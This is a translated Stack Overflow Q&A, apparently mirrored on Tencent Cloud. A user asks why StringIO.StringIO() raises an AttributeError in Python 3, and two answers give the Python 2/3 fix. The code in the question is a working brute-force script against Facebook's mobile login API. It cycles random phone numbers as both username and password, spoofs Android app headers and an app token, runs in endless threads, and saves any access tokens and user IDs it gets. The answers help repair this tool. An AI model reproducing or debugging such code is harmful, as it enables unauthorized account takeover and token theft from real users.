首页
学习
活动
专区
工具
TVP
发布
社区首页 >问答首页 >Python3.6| AttributeError

Python3.6| AttributeError
EN

Stack Overflow用户
提问于 2018-07-13 06:08:39
回答 2查看 1.5K关注 0票数 -4

AttributeError:类型对象'_io.StringIO‘没有属性'StringIO'

我在以下行(138)中有一个错误:out = StringIO.StringIO()

代码是:

代码语言:javascript
复制
import requests
from random import randint
import string
import random
import urllib
from io import StringIO
import gzip
import json
import time
import _thread



def random_machine_id():
    return ''.join(random.choice(string.ascii_uppercase + string.digits + string.ascii_lowercase) for _ in range(24))


def startbrute(number, ss):
    data = {
        'batch': '[{"method":"POST","body":"format=json&device_id=0cd272a7-17dc-4766-958e-5b48799250bf&email=2'+number+'&password='+number+'&credentials_type=password&generate_session_cookies=1&error_detail_type=button_with_disabled&machine_id='+random_machine_id()+'&locale=en_US&client_country_code=US&fb_api_req_friendly_name=authenticate","name":"authenticate","omit_response_on_success":false,"relative_url":"method/auth.login"},{"method":"POST","body":"query_id=10153437257771729&method=get&strip_nulls=true&query_params=%7B%220%22%3A75%2C%221%22%3A120%2C%222%22%3A480%7D&locale=en_US&client_country_code=US&fb_api_req_friendly_name=GetLoggedInUserQuery","name":"getLoggedInUser","depends_on":"authenticate","omit_response_on_success":false,"relative_url":"graphql?access_token={result=authenticate:$.access_token}"}]',
        'fb_api_caller_class': 'com.facebook.katana.server.handler.Fb4aAuthHandler',
        'fb_api_req_friendly_name': 'authLogin'
    }
    headers = {
        'Authorization' : 'OAuth 350685531728|62f8ce9f74b12f84c123cc23437a4a32',
        'X-Fb-Connection-Type' : 'mobile.LTE',
        'X-Fb-Net-Hni' : '310260',
        'X-Fb-Sim-Hni' : '310260',
        'X-Fb-Net-Sid' : '',
        'X-Fb-Http-Engine' : 'Apache',
        'Content-Type' : 'application/x-www-form-urlencoded',
        'Content-Encoding' : 'gzip',
        'User-Agent' : '[FBAN/FB4A;FBAV/37.0.0.0.109;FBBV/11557663;FBDM/{density=1.5,width=480,height=854};FBLC/en_US;FBCR/Android;FBMF/unknown;FBBD/generic;FBPN/com.facebook.katana;FBDV/google_sdk;FBSV/4.4.2;FBOP/1;FBCA/armeabi-v7a:armeabi;]'
    }
    out = StringIO.StringIO()
    with gzip.GzipFile(fileobj=out, mode="w") as f:
      f.write(urllib.urlencode(data))
    r = requests.post("https://b-graph.facebook.com/?include_headers=false&locale=en_US&client_country_code=US", headers=headers, data=out.getvalue(), verify=False)
    if 'access_token' in json.loads(r.json()[0]['body']):
        f = open("accss", "a+")
        f.write(number + ":" + json.loads(r.json()[0]['body'])['access_token'] + ":" + str(json.loads(r.json()[0]['body'])['uid']) + "\n")
        f.close()


while True:
        number = "0" + str(random.randint(10,12)) + str(random.randint(10000000,99999999))
        print (number)
        _thread.start_new_thread( startbrute, (number, 4, ) )
        time.sleep(0.15)

  1. 代码在更新之前就可以工作了
  2. 我已经做了几次修复(除了这些)
EN

回答 2

Stack Overflow用户

发布于 2018-07-13 06:16:18

只管去做

代码语言:javascript
复制
out = StringIO() 

在Python3中,StringIO已经是您想要实例化的类,这与Python2相反,在Python2中,它既是模块的名称,也是类的名称。

票数 0
EN

Stack Overflow用户

发布于 2018-07-13 06:17:39

问题是Python2和Python3之间的差异。要保持与2和3的兼容性,请尝试以下代码块:

代码语言:javascript
复制
try:
    out = StringIO.StringIO()
except AttributeError:
    out = StringIO()
票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/51315148

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档